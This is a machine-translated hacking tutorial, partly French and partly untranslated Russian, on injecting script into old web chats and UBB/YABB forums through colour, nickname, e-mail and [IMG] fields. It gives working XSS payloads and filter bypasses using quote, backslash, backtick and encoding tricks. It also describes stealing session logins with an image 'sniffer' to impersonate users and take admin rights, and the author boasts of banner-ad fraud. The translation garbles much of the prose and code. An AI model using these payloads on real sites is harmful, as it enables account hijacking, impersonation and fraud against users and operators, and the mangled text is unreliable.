This page has been robot translated, sorry for typos if any. Original content here.

Hacking chat



  • Partie 1
  • Partie 2


  • Variations sur le thème

    Dans le chapitre précédent, nous avons examiné le cas où la couleur était insérée dans le texte de la page sans restreindre les guillemets. Et s'il y a des citations? Par exemple, le texte du chat est le suivant:
    Voyageur - Alpha, bonjour))
    Alpha - Bonjour à tous! !!

    Comme vous pouvez le voir, la couleur est insérée dans les guillemets environnants. Ce problème est facilement résolu si le chat ne filtre pas le symbole ' . Si tel est le cas, nous pouvons simplement fermer le guillemet ouvert, puis écrire notre script. Par exemple, en définissant la valeur de couleur en rouge 'size = 20' <FONT color = # 00ff00>, nous obtenons à nouveau l’effet avec une police plus grande. Faites attention à l'espace et à l'apostrophe à la fin. Ils sont nécessaires pour que le guillemet de fermeture que le chat insère lui-même ne détruise pas nos attributs. Par conséquent, notre message ressemblera à ceci:

    Shram - Bonjour

    Si le chat ne saute pas le caractère de citation qui entoure la valeur du paramètre, il ne sera pas possible de pirater le chat via ce paramètre. :( (Bien que certaines choses soient possibles ici: voir la fin de ce chapitre.

    Cette méthode fonctionne très souvent (presque toujours) pour une adresse e-mail donnée (dans les paramètres Chatlanin ou dans le champ d'adresse de retour des forums et des livres d'invités). En règle générale, un lien vers soap va aux forums comme suit:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (le fragment mailto: la passerelle elle-même insère). Ensuite, en définissant la valeur "style = background-image: url (javascript: alert ('Ну_нету_у_менямимылала!))" En tant que savon, " nous envoyons une alerte à tout visiteur du forum :) ) (notez que l'adresse du soap, en règle générale, filtre les caractères d'entrée ne sont pas définis). Certes, certains forums et chats semblent vérifier le savon, mais cette vérification se limite à la présence du symbole @ . Si tel est le cas, alors nous allons faire plaisir aux créateurs du forum et dessiner le tout comme suit: mylo@myla.net "style = background-image: url (javascript: alert (" Ну_нету_у_меняmlяml! "))" .

    Dans certaines discussions, vous pouvez insérer vos propres images en définissant l'adresse de l'image. Comme nous le savons déjà, là où il y a une URL, vous pouvez y insérer un script. Je ne vais même pas le mâcher. Tout est si clair.

    Le premier chapitre a montré comment changer le formulaire de saisie du chat. En particulier, il était nécessaire de changer l’adresse relative du champ d’action en absolu. Cependant, la structure de discussion peut être si complexe qu’elle peut nécessiter de nombreux remplacements. Changer dans tous les cas de l'adresse est incommode (et il est possible de se tromper). Au lieu de cela, vous pouvez recommander le tag <base href = ': http: //typachat.ru/'^gt; , qui est inséré n'importe où dans le document HTML. Dans ce cas, toutes les adresses relatives seront adressées par rapport à l'adresse spécifiée dans la balise de base (dans ce cas, par rapport à typachat.ru ), quel que soit le nom DNS de base réel.

    Vous savez probablement ce que sont les renifleurs? Si non, alors je vais vous dire le renifleur - une chose très utile qui vous permet de suivre le trafic. Dans le cas du chat, le renifleur vous permet de déterminer les adresses IP de la salle de conversation, ainsi que leurs noms et codes temporaires (pour les salles de discussion avec des noms temporaires). Parfois, il vous permet même d'obtenir des droits d'administrateur :) ).

    Il arrive souvent que le surnom figurant dans le texte de la discussion joue le rôle de lien. Lorsque vous cliquez dessus, vous pouvez envoyer un message privé à la salle de conversation. Voici comment cela se présente en HTML:

    Alpha - Bonjour!

    Modérateur - Bonjour!

    Outre l’effet décrit dans le chapitre "Miracles avec le symbole =", il est possible d’insérer un script qui déclenche un événement click sur un lien (si le chat ne filtre pas les guillemets - dans ce cas " - et le symbole + ). Pour cela, comme pseudonyme, la valeur suivante: "+ alert ('Hello!') +" . Vous pouvez insérer quelque chose de plus sérieux (en utilisant uniquement la fonction toString ()) . Par exemple, un tel pseudonyme "+ toString (open ('// yahoo.com', '_ top ')) + " envoie un utilisateur qui appuie sur votre pseudo, fait une pause dans le chat dans Yahoo :) ).

    Hacking M chat

    Comme mentionné dans le premier chapitre, il existe deux méthodes pour pirater les chats. Tous les exemples ci-dessus concernent la première méthode - la méthode de pénétration dans les paramètres de l'étiquette. Ici, je veux montrer la technologie de la deuxième méthode - la méthode de briser la structure de HTML.

    La couleur des messages du chat M était définie sous forme numérique (et avait donc une longueur limitée à la couleur - 7 caractères), comportait des filtres fantaisistes, mais manquait un seul caractère » . Voici un extrait des messages du chat:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Comme vous pouvez le voir, la couleur a été spécifiée sans encadrer les guillemets. La technologie du piratage informatique est simple: nous nous connectons sous un pseudonyme et une couleur arbitraires. Ensuite, après avoir accédé au chat, nous émettons un message du type 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Faites attention à l'écart à la fin - c'est obligatoire. Notre message ressemble à ceci:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Il s’avère qu’une partie du code HTML - class = "ku"> - se trouvait entre des guillemets simples et était vue par le navigateur comme une valeur de chaîne de couleur. Cette ligne contient également la cornière de fermeture de la balise, donc notre message est à l'intérieur de la balise! Le code qui va directement après notre message n'est pas compris par le navigateur et ignoré (et cette partie doit être séparée par un espace de notre paramètre style, sinon le paramètre dans son ensemble sera considéré comme erroné), mais le crochet suivant est considéré comme la balise de fermeture. C'est très simple

    Un peu sur le caractère barre oblique inverse

    Dans les chaînes de caractères JavaScript, il existe un caractère de contrôle spécial. Ceci est un caractère de barre oblique inverse. L'un de ses objectifs est le suivant: le guillemet qui se trouve derrière est considéré comme un symbole et non comme un terminateur de ligne. Par exemple:

    &lt;script&gt; alerte ('It \' s ') &lt;/ script&gt; - ne produit pas de message d'erreur, car l'apostrophe associée à \ au milieu de la ligne n'est pas considérée comme la fin de la ligne. Tant que &lt;script&gt; alert ('It's') &lt;/ script&gt; produit un message d'erreur.

    Comme le caractère lui - même est un gestionnaire (et n'apparaît donc pas directement sur la ligne), une combinaison de \\ existe pour s'afficher. Une telle combinaison est affichée sous la forme d'un \ .

    Qu'est-ce que tout cela a à voir avec les discussions de piratage? Et voici ce que: certaines salles de discussion ne placent pas de filtre entre guillemets " (ou " ) dans le champ pseudo, mais les remplacent par des combinaisons de type " (ou \" ), estimant que les guillemets seront affichés et ne peut donc pas détruire la structure de HTML. Dans ce cas, les développeurs à courte vue négligent le fait que l’utilisateur peut utiliser le symbole \ pour verrouiller leur caractère \ . Par exemple, un fragment de conversation pour un message utilisateur avec le pseudonyme Sh "ram ressemble à ceci:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    Dans ce cas, le guillemet en nickel ne viole pas la structure de l'étiquette. Mais si nous changeons le pseudonyme en Al \ "gol , l'insertion de la barre oblique avant le guillemet créera le code HTML suivant:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Ce faisant, notre slash bloque la barre oblique du chat, et le surnom de la citation détruit la structure HTML! Ceci est visible si vous cliquez sur le lien dans l'exemple.

    Cet effet peut être utilisé pour pirater des chats en détruisant la structure HTML. Faisons attention dans certains cas, il est possible de bloquer les guillemets limitatifs par la même méthode, après avoir inséré une barre oblique à la fin d'un pseudonyme.

    Récemment, j'ai remarqué un autre trou associé à la mauvaise utilisation des programmeurs de symboles \ chat. Soit, par exemple, le pseudonyme de l'utilisateur être inséré dans le corps du chat sous la forme

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Si nous changeons le profil en Al'gol , le chat acceptera un tel pseudo, mais le remplacera par Al \ 'gol , croyant naïvement qu'en insérant une barre oblique inverse, ils protégeront le tag de la destruction. En fait, il n'en est rien :) . Lorsque vous insérez un tel pseudonyme dans le corps du chat, cela ressemblera à ceci:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    Dans ce cas, l'explorateur affichera un message d'erreur lorsqu'il essaie de pousser sur le surnom. La raison en est la suivante: le \ sign n'a de sens que dans la chaîne Constantes Javascript, mais pas HTML! Le caractère HTML lui-même ne comprend pas et considère donc que la première apostrophe est la fin de l'attribut href , même si elle est précédée de \ . Ainsi, par exemple, un pseudo Algol '= détruira la structure de la balise, même si avant l’apostrophe une barre oblique inverse sera insérée

    Piratage au niveau de http

    Comme déjà mentionné, le serveur de discussion peut suivre le champ de référence de la requête HTTP et ne pas démarrer la discussion si ce champ est différent de celui requis. Afin de contourner cet obstacle, vous devez intercepter l’en-tête de requête HTTP envoyé par le chat au serveur (en utilisant des programmes spéciaux, par exemple Naviscope) et écrire un programme spécial qui envoie des requêtes au serveur. Dans ce cas, le contenu des requêtes (par exemple, la valeur du champ de couleur) peut être défini arbitrairement.

    Je ne m'attarderai pas sur ceci en détail. Cela va au-delà du piratage HTML.

    Je ne ferai que noter qu'au niveau HTTP, vous pouvez faire des choses plus délicates qu'avec le HTML ou le JavaScript conventionnel. Dans tous les cas, je recommande de consulter les en-têtes des requêtes HTTP lors de la discussion. Ils vous aideront à mieux comprendre le travail du chat.

    Miracles avec le symbole =

    Que pensez-vous sera affiché dans le navigateur pour une telle ligne HTML:

    &lt;font onclick = alert ('=')&gt; Texte &lt;/ font&gt; ? Je parie que vous ne devinerez pas (à moins que vous ne travailliez certainement pas dans Microsoft et que vous ne développiez pas MSIE). Le résultat est si spécifique que je ne pourrais pas faire un exemple qui le démontrerait . Mais vous pouvez prendre un mot que les éléments suivants seront affichés dans la fenêtre du navigateur: &lt;fontonclick = alert ('=')&gt; Texte Comme vous pouvez le voir, la balise d'ouverture dans ce cas n'est tout simplement pas perçue par le navigateur comme une balise, bien qu'il n'y ait pas d'erreurs de syntaxe. :) ). Et que se passera-t-il si nous écrivons Texte

    Curieusement, dans ce cas, tout sera en ordre, même s'il y a une erreur de syntaxe. Et si on clique sur le texte, une alerte apparaîtra. Essayez de déplacer la troisième apostrophe pour les crochets, ou pour le texte:

    &lt;font onclick = alert ('=')&gt; Texte '&lt;/ font&gt; Ce sera également un résultat inattendu.

    Malheureusement, je n'ai pas de code source ni de documentation détaillée pour MSIE, mais je pense que dans ce cas, il y a une erreur évidente dans MSIE. Le navigateur analyse probablement le code en deux étapes. Lors de la première étape, il met en évidence les balises, leurs attributs et le texte qui les sépare. Le second analyse le contenu JavaScript des paramètres de balise (il ne s'agit que des attributs qui autorisent une valeur de script, par exemple href ou onclick ). A l'analyse primaire, le navigateur pour la raison incompréhensible considère une combinaison = 'le début d'une ligne, malgré le fait que le symbole = soit déjà à l' intérieur d'une ligne! En prenant ensuite = ' pour le début de la ligne, le programme recherche la fin (en oubliant complètement qu'une ligne supplémentaire est ouverte et non fermée). Donc tout ce qui suit = ' (ou = " ) et jusqu'à ce que le caractère suivant ' soit ignoré et considéré comme une chaîne! Par conséquent, dans le premier exemple, le navigateur n'a pas perçu la balise: il n'a pas trouvé Plus surprenant encore, lors de la deuxième étape de l’analyse des paramètres de la balise, le navigateur voit tout correctement (vous pouvez le vérifier en cliquant sur l’étiquette du deuxième exemple) et prend la chaîne si nécessaire. à ce fragment d'un troisième texte deuxième exemple ne figure pas dans le texte brut (parce que ce n'est pas le corps de l'étiquette), mais n'est pas étiquette paramatrom (comme au stade des paramètres d'analyse au compilateur ne vient vient pas)! Flame Salut Bill!

    En utilisant cette erreur de navigateur, j'ai pu commenter certains codes de chat, simplement simplement connecté avec un pseudonyme = :) ). Voici l'extrait de code qui affiche la liste des personnes présentes dans le chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    Cependant, mon surnom dans la liste n’a pas été affiché, car le fragment entre les guillemets

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( était en dehors du corps des tags: -}. Mais lorsque vous cliquez sur le modérateur , la fonction parent.window.messageFor a été appelée avec le paramètre = . Des "effets" similaires étaient dans l'affichage de mes messages dans le chat.

    C'est génial (ou triste - à la recherche de quelqu'un) que ce problème passe presque partout où vous pouvez même entrer dans le fil (au moins pour MSIE 5.50.4134.0600), et pour cela vous n'avez même pas besoin de changer quoi que ce soit dans le formulaire. La mauvaise chose est qu'il est difficile d'en tirer des avantages significatifs (par exemple, lancer un script).

    En conclusion, nous notons que le même symbole a un effet similaire, qui est perçu comme la fin de la balise, en dépit du fait qu’il se trouve à l’intérieur de la ligne. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Texte &lt;/ font&gt; est interprété par le navigateur comme étant erroné, et cela donne une insulte au fait que la constante de chaîne n'est pas fermée.

    Deux tchat de piratage

    Chat T a ignoré les caractères suivants dans le champ de couleur:

    ' " = ;

    Lorsque vous insérez une couleur dans le chat, les guillemets environnants ne le sont pas. Fragment de messages dans le chat (par ailleurs, l'auteur du chat ne considère apparemment pas nécessaire de fermer les tags), bien que nous espérons que cela soit fait pour améliorer les performances):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    C'était gênant que le filtre ne manquait pas l'écart. Cependant, après réflexion, j'ai trouvé la solution suivante - j'ai pris la couleur entre guillemets simples et après la couleur sans espace, j'ai inséré le paramètre de style: 'red'style = background-image: url (javascript: while (1 == 1) ouvert) )) . Comme indiqué dans le deuxième chapitre, l'espace de séparation dans ce cas n'est pas nécessaire :) ).

    Au fait, il y avait beaucoup d'images dans ce chat, y compris celles cachées et vides - elles pensaient probablement à de futures extensions. Mais pendant que les administrateurs pensaient aux extensions, je les trouvais une application plus utile. J'ai accroché assez longtemps dans cette discussion - quelques mois. Et je ne suis pas resté là: dans un des cadres cachés, j'ai bousculé mon site. Et il y avait des bannières du réseau de bannières sur le site. Je me suis donc foutu des centaines de milliers de bannières publicitaires et mon site a gagné 5 à 6 places dans le classement des hits Rambler Top 100 (dans mon groupe). Malheureusement, le réseau de bannières a comparé l'attitude des visiteurs / hôtes et s'est rendu compte qu'il était entraîné par le nez. Il s'est avéré que le même visiteur vient sur mon site toutes les 50 fois par jour. Mon compte a été bloqué. Donc probablement encore là et se bloque, le sans repos :) ).

    Mais revenons à nos moutons. Après un certain temps, l'administration du chat a remplacé le cgi-shka. Je ne sais pas quelles améliorations ont été apportées à la deuxième édition, mais je n’ai remarqué qu’un changement: la longueur des valeurs de couleur des cordes était limitée à environ 10 caractères (cette restriction existe d'ailleurs dans de nombreux salons de discussion). N'est-il pas plus facile de placer des filtres sur les caractères d'entrée? Bien qu'il soit possible de cette manière, ils sont protégés contre le débordement de tampon? Dans cette situation, bien sûr, l’ancienne méthode ne fonctionnait plus. Pour obtenir un script décent, il est impossible de créer 10 caractères (ici même le style lui-même ne correspond pas). Je me suis rendu compte que vous ne pouvez dépasser le surnom ou la seconde méthode - détruire la structure HTML. Je l'ai essayé pendant plusieurs heures de cette façon. Outre l'effet peu coûteux de la disparition du surnom (chapitre "Les miracles avec le symbole ="), rien ne s'est passé. La rupture de la structure ne donnait rien pour la raison suivante: en insérant le symbole au lieu d’une couleur, j’ai ouvert la ligne, mais elle était fermée par une apostrophe (le chat n’était pas une mesure de protection, bien que balises de type <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    C'est-à-dire que seul le fragment <a href = javascript: parent.window.Mtm ( .. Et tout ce que j'ai réalisé est la suppression de la balise de référence temporelle. les guillemets doubles n'étaient pas utilisés, mais le symbole "n'était pas filtré par le filtre " . L' entrée sous le pseudo Algol = ne donnait rien non plus, car les caractères après "Algol = ')> étaient ignorés et n'étaient pas considérés comme des paramètres de la balise. thème ", mais ces scripts ont fonctionné uniquement en cliquant sur mon lien et :( (J'étais déjà prêt à admettre que tout le chat ne peut pas être piraté.) Et puis à la dernière minute, creuser et expérimenter au plus profond de HTML, j'ai découvert que le caractère de l'apostrophe inverse est aussi le délimiteur de chaînes en HTML !!! Je me suis connecté avec le pseudo Algol et avec la couleur ` .Et alors, en tant que message au chat, j'ai envoyé cette ligne: ` style = background-image: url (javascript: alert ('Winning_beats_name_!') . )

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    Dans ce cas, le fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> complètement commenté et considéré comme une couleur, et le paramètre de style était à l'intérieur de la balise! Le script a fonctionné :) ).

    Les programmeurs du chat T devront donc développer une nouvelle version de leur cerveau. Il reste seulement étonné de voir combien de failles ils laissent et combien de temps ils sont corrigés. Ils disent tout en psychologie: les développeurs de systèmes de défense ne peuvent pas se mettre à la place d'un cambrioleur, mais ils jugent le système de leur côté, au lieu de le regarder de l'extérieur.

    "Interception", "faux" et obtention de droits.

    Considérez les méthodes de capture des messages d'autres personnes (messages privés) et l'envoi de messages au nom d'autres sites de chat. Il existe différentes méthodes d'interception conçues pour différents types de conversations. Si le chat est complètement piraté, l'opération de "falsification" (c'est-à-dire l'insertion de répliques au nom d'autres Chatovians) n'est pas difficile: il suffit d'envoyer un script à privat, qui écrira du texte sur la réplique, puis sur le bouton "envoyer". Anologiquement, il est possible de sortir et l'utilisateur. Cependant, ces méthodes sont trop grossières, primitives et difficiles à appliquer. Des méthodes d'interception plus avancées, dans lesquelles le chat vous emmène pour un autre utilisateur.

    Lors de la création de chats HTML, le principal problème est que le protocole HTTP, en principe, ne prend pas en charge les connexions permanentes . Cela signifie que chaque fois que vous souhaitez recevoir des messages ou envoyer une réplique, le programme de discussion doit vous "connaître", comprendre que vous êtes vous. Si elle ne reconnaissait pas les utilisateurs, elle ne serait pas en mesure de vous envoyer vos contacts personnels et ne pourrait pas écrire vos messages en votre nom. Pour identifier les participants, les chats utilisent différentes méthodes. La méthode la plus couramment utilisée est les adresses IP et la méthode des noms dynamiques. La première méthode repose sur le fait que le même utilisateur a la même adresse IP lors de la session de communication. Je ne m'attarderai pas sur cette méthode en détail, je dirai seulement que cette méthode a des inconvénients. En particulier, il peut ne pas fonctionner si l'utilisateur utilise un serveur proxy d'entreprise ou s'il a ouvert plusieurs fenêtres de discussion. Récemment, une autre méthode est devenue fréquemment utilisée - la méthode des noms dynamiques. L'essence de la méthode est que chaque fois que l'utilisateur se connecte au chat, il se voit automatiquement attribuer une connexion unique temporaire. Cette connexion est automatiquement enregistrée dans la page que la passerelle envoie à l'utilisateur. Chaque fois qu'un utilisateur envoie un formulaire de réplique ou demande des messages à partir d'un chat, sa page envoie une connexion temporaire au serveur, via laquelle le serveur identifie réellement l'utilisateur. Le système de connexion temporaire génère au hasard et deux utilisateurs différents ne peuvent pas avoir la même connexion. Le login peut être composé de plusieurs parties. Il s'agit le plus souvent du numéro de série de l'utilisateur dans la session et d'un mot de passe généré aléatoirement. L'ID de connexion étant "cousu" sur la page de discussion de chaque utilisateur, le système sait exactement quel utilisateur il communique, indépendamment de son adresse IP, de ses serveurs proxy, du nombre de fenêtres de discussion ouvertes, etc.

    Il est clair que si nous connaissions la connexion de l’utilisateur, il ne serait pas difficile pour nous de «rayer» l’utilisateur, simplement en fixant notre page de connexion sur sa page, à sa connexion. Ensuite, le système nous emmènerait pour cela ... Il s'avère que cela peut être fait facilement si le chat est piraté, et nous avons la possibilité d'insérer votre image dans le chat. Ensuite, si vous utilisez le sniffer comme image (voir le chapitre "Variations sur le sujet"), nous pouvons obtenir les connexions temporaires de tous les participants au chat! Et si nous sommes intéressés par une connexion spécifique, nous devons lui envoyer un renifleur en privé. Je note ce qui suit: la connexion interceptée n'est valide que tant que l'utilisateur est dans le chat, s'il est re-connecté (il sortira et reviendra), alors il aura déjà une nouvelle connexion temporaire.

    Il est clair que si nous interceptons la connexion temporaire de l'administrateur, ses droits nous transmettront automatiquement, par exemple, la possibilité d'insérer directement des tags dans les messages (absence de filtre pour les symboles < et > ) ou de supprimer du chat ou d'obtenir des informations sur l'utilisateur. et ainsi de suite.

    Le troisième chat de piratage

    Alors revenons à la longue salle de discussion T. Il n'y a pas longtemps, la salle de discussion T a été complètement déplacée vers un nouveau noyau. Maintenant, les règles du jeu ont changé. Premièrement, le champ de couleur laissait presque tout (jusqu’aux signes < et > ), et cela ne me rendait pas difficile de le pirater. Mais bientôt ce trou a été fermé (pas sans ma participation). Dans la nouvelle version du chat, la couleur ne transmettait que des chiffres et des lettres. Le piratage de la couleur devenait impossible. Cela m'a fait rechercher des méthodes plus sophistiquées. En fait, la seule chose qui restait était un surnom. De par ma propre expérience, je savais qu’il était difficile de briser un chat par un pseudonyme, car les développeurs sélectionnent soigneusement les filtres pour un pseudonyme. Cependant, dans le chat, la "puce" était exagérée sur le fait que "le jeu de caractères du surnom avait été considérablement étendu". C'était comme une sorte de publicité. Un peu bricoler les filtres sur le pseudo, j'ai découvert que les caractères suivants étaient ignorés:

    ' " = ; \

    Le symbole "a été ignoré, mais avant cela, le chat a automatiquement inséré le symbole \ . Les mécanismes associés à une telle combinaison sont décrits dans le" Caractère de la barre oblique inverse ". Cependant, les effets décrits dans ce chapitre Je l'ai trouvé!

    Regardons un fragment de messages dans le chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Comme vous pouvez le voir, le pseudonyme a été donné sous forme de lien, lorsque vous avez cliqué sur une fonction appelée. Le gestionnaire de référence href était entre guillemets simples et le surnom lui-même était entre guillemets. Comme le double guillemet n'était pas réellement passé par chat dans le pseudonyme, il était impossible d'aller au-delà de l'argument de la fonction. Nick type = ` n'a pas fonctionné, car le gestionnaire était entouré de simples apostrophes, et comme le montre le chapitre" Miracles avec le symbole = ", l'effet avec le signe = n'a pas fonctionné. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). C'est à dire например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Ainsi. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Mais ce n'est pas tout. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

